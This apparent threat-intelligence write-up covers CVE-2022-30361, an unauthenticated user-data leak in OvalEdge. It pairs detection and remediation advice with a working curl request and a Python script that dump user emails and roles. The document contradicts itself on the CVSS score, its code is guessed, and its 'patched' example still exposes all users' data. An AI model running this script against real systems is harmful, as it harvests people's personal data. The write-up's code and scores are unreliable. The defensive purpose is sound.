CVE-2022-30361

Executive Summary

CVE-2022-30361 is a critical information disclosure vulnerability in OvalEdge versions 5.2.8.0 and earlier. The vulnerability allows an unauthenticated attacker to retrieve sensitive user data, including user IDs, email addresses, roles, license types, and personal details (first name, last name, gender, preferences) by sending a GET request to the /user/getUserType endpoint. The CVSS score is 0.0 due to incomplete NVD data, but the actual impact is high confidentiality exposure. No authentication is required, making this a low-complexity, network-based attack vector. The vendor has not released a patch, and no official advisory or GitHub advisory context is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is trivial to exploit.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: High – Unauthenticated access to sensitive user data, including PII and role information, which can be used for targeted attacks or privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the /user/getUserType endpoint of the OvalEdge application. This endpoint is designed to return user type and related information, but it does not enforce any authentication or authorization checks. An attacker can send a simple GET request to this endpoint and receive a JSON response containing sensitive data for all registered users.

The response includes:

• User ID
• Status (active/inactive)
• Email address
• Role(s) (e.g., admin, user, viewer)
• User type (e.g., internal, external)
• License type
• Personal details: first name, last name, gender, user preferences

This information can be used to identify high-value targets (e.g., administrators), perform social engineering attacks, or map the organizational structure. The lack of authentication makes it trivial to exploit.

Vulnerable vs. Patched Code

Vulnerable Code (OvalEdge <= 5.2.8.0): The endpoint /user/getUserType likely lacks any authentication middleware or access control checks. A typical vulnerable implementation might look like:

@GetMapping("/user/getUserType")
public ResponseEntity<List<User>> getUserType() {
    List<User> users = userService.getAllUsers();
    return ResponseEntity.ok(users);
}

Patched Code (Hypothetical): A patched version would require authentication and possibly restrict the data returned based on user roles:

@GetMapping("/user/getUserType")
public ResponseEntity<List<User>> getUserType(@AuthenticationPrincipal User currentUser) {
    if (currentUser == null) {
        return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
    }
    // Optionally filter data based on roles
    List<User> users = userService.getAllUsers();
    return ResponseEntity.ok(users);
}

Since no official patch is available, the above is a recommended fix.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify the target OvalEdge instance (e.g., https://ovaledge.example.com).
2. Send a GET request to the vulnerable endpoint:

   curl -X GET "https://ovaledge.example.com/user/getUserType"
   

3. The response will contain a JSON array of user objects with sensitive data.

Example Output:

[
  {
    "userId": 1,
    "status": "active",
    "email": "admin@example.com",
    "roles": ["admin"],
    "userType": "internal",
    "licenseType": "enterprise",
    "firstName": "John",
    "lastName": "Doe",
    "gender": "male",
    "preferences": {"theme": "dark"}
  }
]

Automation Script:

import requests

target = "https://ovaledge.example.com"
endpoint = "/user/getUserType"
response = requests.get(target + endpoint)
if response.status_code == 200:
    users = response.json()
    for user in users:
        print(f"User: {user['email']}, Role: {user['roles']}")
else:
    print("Failed to exploit")

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /user/getUserType from unauthenticated sources.
2. Look for unusual patterns, such as repeated requests from the same IP.
3. Check for large JSON responses containing user data.

Mitigation:

• Implement authentication and authorization on the endpoint.
• Restrict access to the endpoint via firewall or WAF rules.
• Monitor for anomalous data exfiltration.

Indicators of Compromise (IOCs)

• URL Pattern: /user/getUserType
• HTTP Method: GET
• Response Content-Type: application/json
• Response Data: JSON array containing fields like userId, email, roles, firstName, lastName, gender, preferences
• Source IP: Any external IP making requests to the endpoint without authentication
• User-Agent: Any (no specific pattern)

Detection Engineering

YARA Rule

rule CVE_2022_30361_OvalEdge_DataExposure {
    meta:
        description = "Detects OvalEdge sensitive data exposure via /user/getUserType"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-30361"
    strings:
        $endpoint = "/user/getUserType"
        $json_pattern = /"userId":\s*\d+/
        $email_pattern = /"email":\s*"[^"]+@[^"]+"/
    condition:
        $endpoint and ($json_pattern or $email_pattern)
}

Sigma Rule

title: OvalEdge Sensitive Data Exposure via /user/getUserType
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to OvalEdge user data endpoint
author: Valters IT
date: 2025/04/10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30361
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-stem: /user/getUserType
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-30361 OvalEdge Sensitive Data Exposure"; flow:to_server; http.method; content:"GET"; http.uri; content:"/user/getUserType"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Restrict access to the /user/getUserType endpoint using a web application firewall (WAF) or reverse proxy. Block all external requests to this endpoint.
2. Code Fix: Implement authentication and authorization checks on the endpoint. Ensure only authenticated users with appropriate roles can access user data.
3. Configuration: Disable the endpoint if not required, or limit the data returned to only non-sensitive fields.
4. Monitoring: Enable logging and alerting for requests to /user/getUserType from unauthenticated sources.
5. Vendor Contact: Since no patch is available, contact OvalEdge support for a fix or consider migrating to a different solution.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert